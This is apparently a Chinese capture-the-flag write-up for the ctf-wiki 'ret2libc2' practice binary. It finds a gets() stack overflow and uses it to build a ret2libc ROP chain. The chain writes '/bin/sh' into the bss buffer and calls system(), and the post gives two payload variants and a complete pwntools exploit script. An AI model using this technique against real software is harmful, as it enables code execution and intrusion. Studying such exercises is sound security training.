wiki上的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop-zh/
checksec ret2libc2,发现开启了堆栈不可执行保护
放入ida,F5
还是gets函数作祟
shift+F12,这次查找字符串就只剩下system了,/bin/sh不见了,那我们就要想办法写入/bin/sh,借用gets函数写入
先找到system的地址,0x08048490
找gets的地址,0x08048460
在可写入的bss段寻找可借用的东西,这里找到了buf2,我们可以把/bin/sh写入buf2,把/bin/sh的地址作为system的参数被调用
用gadget找带ret的语句,这里只有pop ebx,无pop eax等,所以选gadget的地址为0x0804843d
脚本payload用两种方式均可
参见https://www.jianshu.com/p/4928e726a43f
方法一:
payload = flat(["a"*112,gets,system,buf2,buf2,'/bin/sh'])
方法二:
堆栈平衡,就是在调用完gets之后要把调用的参数给pop出来,提升栈堆(保持esp和ebp的值不变)再对system进行调用,system调用的时候会有一个返回值,直接填入垃圾字符,这里以'aaaa' 作为虚假的地址
payload = flat(["a"*112,gets,pop_ebx,buf2,system,'aaaa',buf2,'/bin/sh'])
脚本如下
#!/usr/bin/env python
#-*- coding:utf-8 -*-
from pwn import *
p = process('./ret2libc2')
system = 0x08048490
gets = 0x08048460
buf2 = 0x0804A080
pop_ebx = 0x0804843d
payload = flat(["a"*112,gets,pop_ebx,buf2,system,"aaaa",buf2,'/bin/sh'])
p.sendline(payload)
p.interactive()
运行脚本
网友评论